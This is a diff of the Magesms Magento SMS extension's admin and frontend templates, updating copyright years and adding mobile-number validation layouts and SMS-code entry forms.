$prid = ''; if ($sendertype == 3) $prid = ' ('.$gate.')'; ?><tr class="row"><td rowspan="<?php echo count($networks); ?>"><?php if ($id !== null): ?><input type="radio" name="isms" id="isms_<?php echo $gate.'_'.$sendertype; ?>" value="<?php echo $gate.';'.$sendertype; ?>" <?php echo $route->getIsms() == $gate && $route->getSendertype() == $sendertype ? 'checked' : ''; ?> /><label for="isms_<?php echo $gate.'_'.$sendertype; ?>"><?php echo $sender_h.$prid.$pozn; ?></label><?php else: ?><?php echo $sender_h.$prid.$pozn; ?><?php endif; ?></td><?php $even = 0; foreach($networks as $network => $price): ?><?php if ($even): ?><tr class="<?php if ($even % 2) { echo "even"; $even++; } else { $even++; } ?>"><?php else: $even++;?><?php endif; ?><td><?php echo $network; ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['credit'], 2); ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['pay1']); ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['pay2']); ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['pay3']); ?></td><td class="a-center"><?php if ($price['unicode'] > 0): ?><img alt="<?php echo Mage::helper('magesms')->__('UNICODE SUPPORTED'); ?>" style="border:0px" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA); ?>/magesms/i_accepted.gif"><?php else: ?><img alt="<?php echo Mage::helper('magesms')->__('UNICODE UNSUPPORTED'); ?>" style="border:0px" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA); ?>/magesms/i_canceled.gif"><?php endif; ?></td></tr><?php endforeach; ?><?php endforeach; ?><?php endforeach; ?><?php endforeach; ?></table><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $id = Mage::app()->getRequest()->getParam('id', null); ?><?php $info = $routes[0]->getInfo(); ?><table cellspacing="0" class="data"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('SENDER TYPE'); ?></th><td></td><td></td><th colspan="3" class="a-center"><?php printf(Mage::helper('magesms')->__('SMS PRICE IN %s (excl. VAT)'), $currency); ?></th><td></td></tr><?php foreach($routes as $route): ?><tr class="headings"><td><b><?php echo $route->getAreaText(); ?> (+<?php echo $route->getArea(); ?>)</b><?php if ($id === null): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/edit', array('id' => $route->getId())); ?>"><img title="edit <?php echo $route->getAreaText(); ?>" alt="edit <?php echo $route->getAreaText(); ?>" style="border:0px;" name="submitAddAdmin" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/edit.gif'; ?>"></a><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/delete', array('id' => $route->getId())); ?>" onclick="return confirm('<?php echo Mage::helper('magesms')->__('Are you sure to delete').' '.$route->getAreaText().'?'; ?>')"><img title="delete <?php echo $route->getAreaText(); ?>" alt="delete <?php echo $route->getAreaText(); ?>" style="border:0px;" name="submitAddAdmin" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/delete.gif'; ?>"></a><?php endif; ?></td><th><?php echo Mage::helper('magesms')->__('NETWORK'); ?></th><th class="a-center"><?php echo Mage::helper('magesms')->__('SMS PRICE<br />IN CREDITS'); ?></th><th class="a-center"><?php echo Mage::helper('magesms')->__('payment'); ?> <?php echo $info['payment'][0][0]; ?> (<?php echo $currency; ?>)</th><th class="a-center"><?php echo $info['payment'][1][0]; ?> (<?php echo $currency; ?>)</th><th class="a-center"><?php echo $info['payment'][2][0]; ?> (<?php echo $currency; ?>)</th><th class="a-center"><?php echo Mage::helper('magesms')->__('Unicode'); ?> &nbsp;<span onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Unicode characters support (Unicode allows you to enter characters in all fonts and various symbols simultaneously. Is used for Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message)'); ?>" style="cursor:help;text-decoration:underline;">?</span></th></tr><?php $info = $route->getInfo(); foreach($info['sms'] as $sendertype => $gates): switch($sendertype) { case Topefekt_Magesms_Model_Routes::SENDER_TEXT: $sender_h = Mage::helper('magesms')->__('TEXT SENDER ID'); if ($id === null) { $add = '<b>'.$route->getData('senderID').'</b>'; if ($route->getAlternatives()) { foreach($route->getAlternatives() as $alternative) $add .= ', '.$alternative->getTextsender(); } if (!Mage::app()->isSingleStoreMode()) { $add .= '<br /><button class="form-button" onclick="location.href=\''.Mage::helper("adminhtml")->getUrl('*/*/alternative', array('id' => $route->getId())).'\'" title="'.Mage::helper('magesms')->__('ADD/CHANGE TEXT SENDER ID').'"><span><span><span>'.Mage::helper('magesms')->__('ADD/CHANGE TEXT SENDER ID').'</span></span></span></buton>'; } } else $add = Mage::helper('magesms')->__('e.g.:').' myweb.com'; $pozn = "<span style=\"font-size:10px;\">&nbsp;&nbsp;- ".$add."</span>"; break; case Topefekt_Magesms_Model_Routes::SENDER_SYSTEM: $sender_h = Mage::helper('magesms')->__('SYSTEM NUMBER'); $pozn = "<span style=\"font-size:10px;\">&nbsp;&nbsp;- ".Mage::helper('magesms')->__('e.g.:')." +420602123456</span>"; break; case Topefekt_Magesms_Model_Routes::SENDER_OWN: $sender_h = Mage::helper('magesms')->__('OWN NUMBER SENDER ID'); if ($id === null) $add = '<b>+'.$route->getData('senderID').'</b>'; else $add = Mage::helper('magesms')->__('e.g.:').' +447971796595'; $pozn = "<span style=\"font-size:10px;\">&nbsp;&nbsp;- ".$add."</span>"; break; case Topefekt_Magesms_Model_Routes::SENDER_SIM: $sender_h = Mage::helper('magesms')->__('SIM HOSTING'); $pozn = ""; break; } ?><?php foreach($gates as $gate => $networks): ?><?php if ($id === null ) { if ($route->getIsms() != $gate || $route->getSendertype() != $sendertype ) continue; } $prid = ''; if ($sendertype == 3) $prid = ' ('.$gate.')'; ?><tr class="row"><td rowspan="<?php echo count($networks); ?>"><?php if ($id !== null): ?><input type="radio" name="isms" id="isms_<?php echo $gate.'_'.$sendertype; ?>" value="<?php echo $gate.';'.$sendertype; ?>" <?php echo $route->getIsms() == $gate && $route->getSendertype() == $sendertype ? 'checked' : ''; ?> /><label for="isms_<?php echo $gate.'_'.$sendertype; ?>"><?php echo $sender_h.$prid.$pozn; ?></label><?php else: ?><?php echo $sender_h.$prid.$pozn; ?><?php endif; ?></td><?php $even = 0; foreach($networks as $network => $price): ?><?php if ($even): ?><tr class="<?php if ($even % 2) { echo "even"; $even++; } else { $even++; } ?>"><?php else: $even++;?><?php endif; ?><td><?php echo $network; ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['credit'], 2); ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['pay1']); ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['pay2']); ?></td><td class="a-center"><?php echo Mage::helper('magesms')->formatPrice($price['pay3']); ?></td><td class="a-center"><?php if ($price['unicode'] > 0): ?><img alt="<?php echo Mage::helper('magesms')->__('UNICODE SUPPORTED'); ?>" style="border:0px" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA); ?>/magesms/i_accepted.gif"><?php else: ?><img alt="<?php echo Mage::helper('magesms')->__('UNICODE UNSUPPORTED'); ?>" style="border:0px" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA); ?>/magesms/i_canceled.gif"><?php endif; ?></td></tr><?php endforeach; ?><?php endforeach; ?><?php endforeach; ?><?php endforeach; ?></table><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/wizard-sender.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $routes = Mage::getSingleton('adminhtml/session')->getData('routes'); ?><h2><?php if ($routes->getSendertype() == 0): ?><?php echo Mage::helper('magesms')->__('SMS Settings - Select Text sender ID for '); ?><?php elseif ($routes->getSendertype() == 2): ?><?php echo Mage::helper('magesms')->__('SMS Settings - Select Own number sender ID for '); ?><?php else: return; ?><?php endif; ?><?php echo $routes->getAreaText(); ?></h2><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php if ($routes->getSendertype() == 0): ?><?php echo Mage::helper('magesms')->__('Text sender ID settings'); ?><?php else: ?><?php echo Mage::helper('magesms')->__('Own number sender ID settings'); ?><?php endif; ?></h4></div><div class="fieldset grid"><form id="magesms_sender" action="<?php echo $this->getUrl('*/*/savesender') ?>" method="post" onkeypress="return event.keyCode != 13;"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php if ($routes->getSendertype() == 0): ?><?php $senders = Mage::getSingleton('magesms/textsender')->getCollection(); $prefix = ''; $first = Mage::helper('magesms')->__('Text sender ID'); $label1 = Mage::helper('magesms')->__('Existing Text sender ID:'); $label2 = Mage::helper('magesms')->__('New Text sender ID:'); $maxlength = 11; $desc = Mage::helper('magesms')->__('max. 11 characters'); ?><?php else: ?><?php $senders = Mage::getSingleton('magesms/ownnumbersender')->getCollection(); $prefix = '+'; $first = Mage::helper('magesms')->__('Own number sender ID'); $label1 = Mage::helper('magesms')->__('Existing Own number:'); $label2 = Mage::helper('magesms')->__('New Own number sender ID:'); $maxlength = 30; $desc = Mage::helper('magesms')->__('in international format, no leading <br />zeros or a “+” sign, e.g., 447971796595'); ?><?php endif; ?><?php if ($routes->displayCode === true): ?><div class="margin-form" id="senderx"><label class="form-required" for="newsender"><?php echo $label2; ?> <span class="required">*</span></label><?php echo $routes->getData('senderID'); ?></div><div class="margin-form"><label class="form-required" for="code"><?php echo Mage::helper('magesms')->__('SMS code:'); ?> <span class="required">*</span></label><input class="required-entry validate-sender input-text" type="text" name="code" id="code" value="" /></div><?php else: ?><?php if ($senders->count()): ?><div class="margin-form"><label class="form-required" for="sender"><?php echo $label1; ?> <span class="required">*</span></label><select class="" name="sender" id="sender"><option value="">-><?php echo $first; ?></option><?php foreach($senders as $sender): ?><option value="<?php echo $sender->getVal(); ?>"><?php echo $prefix.$sender->getVal(); ?></option><?php endforeach; ?></select></div><?php endif; ?><div class="margin-form" id="senderx"><label class="form-required" for="newsender"><?php echo $label2; ?> <span class="required">*</span></label><input class="required-entry validate-sender input-text" maxlength="<?php echo $maxlength; ?>" type="text" name="newsender" id="newsender" value="" /><p><?php echo $desc; ?></p></div><?php endif; ?><div class="margin-form"><input type="button" onclick="senderForm.submit();" value="<?php echo Mage::helper('magesms')->__('CONFIRM'); ?>" class="form-button" /></div></form><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $routes = Mage::getSingleton('adminhtml/session')->getData('routes'); ?><h2><?php if ($routes->getSendertype() == 0): ?><?php echo Mage::helper('magesms')->__('SMS Settings - Select Text sender ID for '); ?><?php elseif ($routes->getSendertype() == 2): ?><?php echo Mage::helper('magesms')->__('SMS Settings - Select Own number sender ID for '); ?><?php else: return; ?><?php endif; ?><?php echo $routes->getAreaText(); ?></h2><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php if ($routes->getSendertype() == 0): ?><?php echo Mage::helper('magesms')->__('Text sender ID settings'); ?><?php else: ?><?php echo Mage::helper('magesms')->__('Own number sender ID settings'); ?><?php endif; ?></h4></div><div class="fieldset grid"><form id="magesms_sender" action="<?php echo $this->getUrl('*/*/savesender') ?>" method="post" onkeypress="return event.keyCode != 13;"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php if ($routes->getSendertype() == 0): ?><?php $senders = Mage::getSingleton('magesms/textsender')->getCollection(); $prefix = ''; $first = Mage::helper('magesms')->__('Text sender ID'); $label1 = Mage::helper('magesms')->__('Existing Text sender ID:'); $label2 = Mage::helper('magesms')->__('New Text sender ID:'); $maxlength = 11; $desc = Mage::helper('magesms')->__('max. 11 characters'); ?><?php else: ?><?php $senders = Mage::getSingleton('magesms/ownnumbersender')->getCollection(); $prefix = '+'; $first = Mage::helper('magesms')->__('Own number sender ID'); $label1 = Mage::helper('magesms')->__('Existing Own number:'); $label2 = Mage::helper('magesms')->__('New Own number sender ID:'); $maxlength = 30; $desc = Mage::helper('magesms')->__('in international format, no leading <br />zeros or a “+” sign, e.g., 447971796595'); ?><?php endif; ?><?php if ($routes->displayCode === true): ?><div class="margin-form" id="senderx"><label class="form-required" for="newsender"><?php echo $label2; ?> <span class="required">*</span></label><?php echo $routes->getData('senderID'); ?></div><div class="margin-form"><label class="form-required" for="code"><?php echo Mage::helper('magesms')->__('SMS code:'); ?> <span class="required">*</span></label><input class="required-entry validate-sender input-text" type="text" name="code" id="code" value="" /></div><?php else: ?><?php if ($senders->count()): ?><div class="margin-form"><label class="form-required" for="sender"><?php echo $label1; ?> <span class="required">*</span></label><select class="" name="sender" id="sender"><option value="">-><?php echo $first; ?></option><?php foreach($senders as $sender): ?><option value="<?php echo $sender->getVal(); ?>"><?php echo $prefix.$sender->getVal(); ?></option><?php endforeach; ?></select></div><?php endif; ?><div class="margin-form" id="senderx"><label class="form-required" for="newsender"><?php echo $label2; ?> <span class="required">*</span></label><input class="required-entry validate-sender input-text" maxlength="<?php echo $maxlength; ?>" type="text" name="newsender" id="newsender" value="" /><p><?php echo $desc; ?></p></div><?php endif; ?><div class="margin-form"><input type="button" onclick="senderForm.submit();" value="<?php echo Mage::helper('magesms')->__('CONFIRM'); ?>" class="form-button" /></div></form><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/wizard.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $currency = $this->profile->currency; ?><div style="float: right;"><form action="<?php echo $this->getUrl('*/*/updatepricelist') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="submit" value="<?php echo Mage::helper('magesms')->__('Update pricelist'); ?>" class="form-button" /></form></div><h2><?php echo Mage::helper('magesms')->__('SMS Settings'); ?></h2><p><?php echo Mage::helper('magesms')->__('Define SMS Sender Type for each country separately (Text sender ID, Own mobile number or System number). SMS price depends on the recipient country, selected SMS sender type and amount of payment. In countries with undefined SMS sender type will be used System number sender type.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Customer SMS settings'); ?></h4></div><div class="fieldset grid"><form id="magesms_addcountryuser" action="<?php echo $this->getUrl('*/*/addcountrycustomer') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="country"><?php echo Mage::helper('magesms')->__('Select country: '); ?></label><select name="country0" id="country"><?php foreach( Mage::getSingleton('magesms/country_area')->getCollection()->setOrder('country_name', 'ASC') as $country ): ?><option value="<?php echo $country->getCountryName(); ?>" <?php echo $lang == $country->getCountryName() ? 'selected' : ''; ?>><?php echo $country->getCountryName(); ?> (+<?php echo $country->getArea(); ?>)</option><?php endforeach; ?></select><input type="submit" value="<?php echo Mage::helper('magesms')->__('ADD/CHANGE SELECTED COUNTRY'); ?>" class="form-button" /></div></form><?php if ($routes = Mage::getSingleton('magesms/routes')->loadData('customer')): ?><?php include 'wizard-list.phtml'; ?><?php endif; ?></div></div><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Admin SMS settings'); ?></h4></div><div class="fieldset grid"><form id="magesms_addcountryadmin" action="<?php echo $this->getUrl('*/*/addcountryadmin') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="country"><?php echo Mage::helper('magesms')->__('Select country: '); ?></label><select name="country0" id="country"><?php foreach( Mage::getSingleton('magesms/country_area')->getCollection()->setOrder('country_name', 'ASC') as $country ): ?><option value="<?php echo $country->getCountryName(); ?>" <?php echo $lang == $country->getCountryName() ? 'selected' : ''; ?>><?php echo $country->getCountryName(); ?> (+<?php echo $country->getArea(); ?>)</option><?php endforeach; ?></select><input type="submit" value="<?php echo Mage::helper('magesms')->__('ADD/CHANGE SELECTED COUNTRY'); ?>" class="form-button" /></div></form><?php if ($routes = Mage::getSingleton('magesms/routes')->loadData('admin')): ?><?php include 'wizard-list.phtml'; ?><?php endif; ?></div></div></div>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $currency = $this->profile->currency; ?><div style="float: right;"><form action="<?php echo $this->getUrl('*/*/updatepricelist') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="submit" value="<?php echo Mage::helper('magesms')->__('Update pricelist'); ?>" class="form-button" /></form></div><h2><?php echo Mage::helper('magesms')->__('SMS Settings'); ?></h2><p><?php echo Mage::helper('magesms')->__('Define SMS Sender Type for each country separately (Text sender ID, Own mobile number or System number). SMS price depends on the recipient country, selected SMS sender type and amount of payment. In countries with undefined SMS sender type will be used System number sender type.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Customer SMS settings'); ?></h4></div><div class="fieldset grid"><form id="magesms_addcountryuser" action="<?php echo $this->getUrl('*/*/addcountrycustomer') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="country"><?php echo Mage::helper('magesms')->__('Select country: '); ?></label><select name="country0" id="country"><?php foreach( Mage::getSingleton('magesms/country_area')->getCollection()->setOrder('country_name', 'ASC') as $country ): ?><option value="<?php echo $country->getCountryName(); ?>" <?php echo $lang == $country->getCountryName() ? 'selected' : ''; ?>><?php echo $country->getCountryName(); ?> (+<?php echo $country->getArea(); ?>)</option><?php endforeach; ?></select><input type="submit" value="<?php echo Mage::helper('magesms')->__('ADD/CHANGE SELECTED COUNTRY'); ?>" class="form-button" /></div></form><?php if ($routes = Mage::getSingleton('magesms/routes')->loadData('customer')): ?><?php include 'wizard-list.phtml'; ?><?php endif; ?></div></div><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Admin SMS settings'); ?></h4></div><div class="fieldset grid"><form id="magesms_addcountryadmin" action="<?php echo $this->getUrl('*/*/addcountryadmin') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form" style="text-align: center"><label for="country"><?php echo Mage::helper('magesms')->__('Select country: '); ?></label><select name="country0" id="country"><?php foreach( Mage::getSingleton('magesms/country_area')->getCollection()->setOrder('country_name', 'ASC') as $country ): ?><option value="<?php echo $country->getCountryName(); ?>" <?php echo $lang == $country->getCountryName() ? 'selected' : ''; ?>><?php echo $country->getCountryName(); ?> (+<?php echo $country->getArea(); ?>)</option><?php endforeach; ?></select><input type="submit" value="<?php echo Mage::helper('magesms')->__('ADD/CHANGE SELECTED COUNTRY'); ?>" class="form-button" /></div></form><?php if ($routes = Mage::getSingleton('magesms/routes')->loadData('admin')): ?><?php include 'wizard-list.phtml'; ?><?php endif; ?></div></div></div>
app/design/frontend/base/default/layout/magesms.xml CHANGED
@@ -5,20 +5,44 @@
5
  <block type="magesms/cart" name="magesms.cart" template="topefekt/magesms/cart.phtml" before="-" />
6
  </reference>
7
  </checkout_cart_index>
8
- <!--
9
- <customer_account>
10
- <reference name="customer_account_navigation">
11
- <action method="addLink" translate="label" module="magesms">
12
- <name>magesms</name>
13
- <path>magesms/marketing/</path>
14
- <label>SMS Marketing</label>
15
- </action>
16
- </reference>
17
- </customer_account>
18
- -->
19
  <customer_account_index translate="label">
20
  <reference name="my.account.wrapper">
21
  <block type="magesms/customer_marketing" name="customer_account_dashboard_magesms" template="topefekt/magesms/marketing-dashboard.phtml" />
22
  </reference>
23
  </customer_account_index>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
24
  </layout>
5
  <block type="magesms/cart" name="magesms.cart" template="topefekt/magesms/cart.phtml" before="-" />
6
  </reference>
7
  </checkout_cart_index>
 
 
 
 
 
 
 
 
 
 
 
8
  <customer_account_index translate="label">
9
  <reference name="my.account.wrapper">
10
  <block type="magesms/customer_marketing" name="customer_account_dashboard_magesms" template="topefekt/magesms/marketing-dashboard.phtml" />
11
  </reference>
12
  </customer_account_index>
13
+
14
+ <magesms_validate_mobile translate="label">
15
+ <label>Customer Account Login Form</label>
16
+ <!-- Mage_Customer -->
17
+ <remove name="right"/>
18
+ <remove name="left"/>
19
+
20
+ <reference name="root">
21
+ <action method="setTemplate">
22
+ <template>page/1column.phtml</template>
23
+ </action>
24
+ </reference>
25
+ <reference name="content">
26
+ <block type="magesms/validate_mobile" name="magesms_validate_mobile" template="topefekt/magesms/validate/mobile.phtml"/>
27
+ </reference>
28
+ </magesms_validate_mobile>
29
+
30
+ <customer_account_create translate="label">
31
+ <reference name="head">
32
+ <action method="addJs" ifconfig="magesms/magesms/enable"><script>prototype/window.js</script></action>
33
+ <action method="addItem" ifconfig="magesms/magesms/enable"><type>js_css</type><name>prototype/windows/themes/default.css</name></action>
34
+ <action method="addCss" ifconfig="magesms/magesms/enable"><stylesheet>lib/prototype/windows/themes/magento.css</stylesheet></action>
35
+ </reference>
36
+ </customer_account_create>
37
+
38
+ <checkout_onepage_index>
39
+ <reference name="head">
40
+ <action method="addJs" ifconfig="magesms/magesms/enable"><script>prototype/window.js</script></action>
41
+ <action method="addItem" ifconfig="magesms/magesms/enable"><type>js_css</type><name>prototype/windows/themes/default.css</name></action>
42
+ <action method="addCss" ifconfig="magesms/magesms/enable"><stylesheet>lib/prototype/windows/themes/magento.css</stylesheet></action>
43
+ </reference>
44
+ <reference name="content">
45
+ <block type="magesms/validate_script" name="magesms.valid.js" />
46
+ </reference>
47
+ </checkout_onepage_index>
48
  </layout>
app/design/frontend/base/default/template/topefekt/magesms/cart.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php if ($this->getOptoutProduct()): ?><form method="post" action="<?php echo $this->getOptoutUrl(); ?>"><div class="discount"><p class="checkbox smsoptout"><input type="checkbox" onchange="this.form.submit()" id="smsoptout" name="smsoptout" <?php echo $this->getOptoutAuto() ? 'checked' : ''; ?>> <label for="smsoptout"><strong><?php echo $this->getOptoutProduct()->getName(); ?></strong> - <?php echo Mage::helper('core')->currency($this->getOptoutProduct()->getPrice(), true, false); ?></label></p></div></form><?php endif; ?>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php if ($this->getOptoutProduct()): ?><form method="post" action="<?php echo $this->getOptoutUrl(); ?>"><div class="discount"><p class="checkbox smsoptout"><input type="checkbox" onchange="this.form.submit()" id="smsoptout" name="smsoptout" <?php echo $this->getOptoutAuto() ? 'checked' : ''; ?>> <label for="smsoptout"><strong><?php echo $this->getOptoutProduct()->getName(); ?></strong> - <?php echo Mage::helper('core')->currency($this->getOptoutProduct()->getPrice(), true, false); ?></label></p></div></form><?php endif; ?>
app/design/frontend/base/default/template/topefekt/magesms/marketing-dashboard.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php if ($this->getOptoutMarketingActive()): ?><div class="dashboard"><div class="box"><div class="box-account box-info"><div class="box-title"><h3><?php echo $this->__('Marketing SMS'); ?>: <?php echo $this->getOptoutMarketing() ? $this->__('Yes') : $this->__('No');?></h3><a href="<?php echo $this->getUrl('magesms/marketing'); ?>"><?php echo $this->getOptoutMarketing() ? $this->__('Disable') : $this->__('Enable');?></a></div></div></div></div><?php endif; ?>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php if ($this->getOptoutMarketingActive()): ?><div class="dashboard"><div class="box"><div class="box-account box-info"><div class="box-title"><h3><?php echo $this->__('Marketing SMS'); ?>: <?php echo $this->getOptoutMarketing() ? $this->__('Yes') : $this->__('No');?></h3><a href="<?php echo $this->getUrl('magesms/marketing'); ?>"><?php echo $this->getOptoutMarketing() ? $this->__('Disable') : $this->__('Enable');?></a></div></div></div></div><?php endif; ?>
app/design/frontend/base/default/template/topefekt/magesms/validate/checkout-button.phtml ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ ?><button type="submit" title="<?php echo Mage::helper('core')->quoteEscape($this->__('Place Order')) ?>"class="button btn-checkout" onclick="review.save();"><span><span><?php echo $this->__('Place Order') ?></span></span></button>
app/design/frontend/base/default/template/topefekt/magesms/validate/customer-ajax.phtml ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ ?><div style="margin:15px; text-align:center"><?php if ($this->getNext()): ?><div class="field-row"><div class="input-box"><?php echo $this->__('SMS code was sent to'); ?> <strong><?php echo $this->getSmsmobile(); ?></strong></div></div><div class="field-row"><div class="input-box"><input type="text" name="code" value="" id="code" placeholder="<?php echo $this->__('Fill your SMS code') ?>" class="input-text required-entry" title="<?php echo $this->__('Code') ?>" autocomplete="off" autofocus /></div></div><?php else: ?><div class="field-row"><input id="smsnumber" name="smsnumber" value="<?php echo $this->getSmsnumber(); ?>" placeholder="<?php echo $this->__('Fill your Mobile number') ?>" class="required-entry input-text required-entry" type="text" autofocus /></div><?php endif;?><div class="field-row" style="padding-top:10px"><button type="submit" id="submit" title="Odeslat" class="button validation-passed" onclick="magesmsValidateNumber(<?php echo $this->getNext();?>)"><span><span><?php echo Mage::helper('magesms')->__('OK'); ?></span></span></button></div><?php if ($this->getNext()): ?><div class="field-row" style="padding-top:15px"><?php echo $this->__("If you didn't receive your SMS Code, 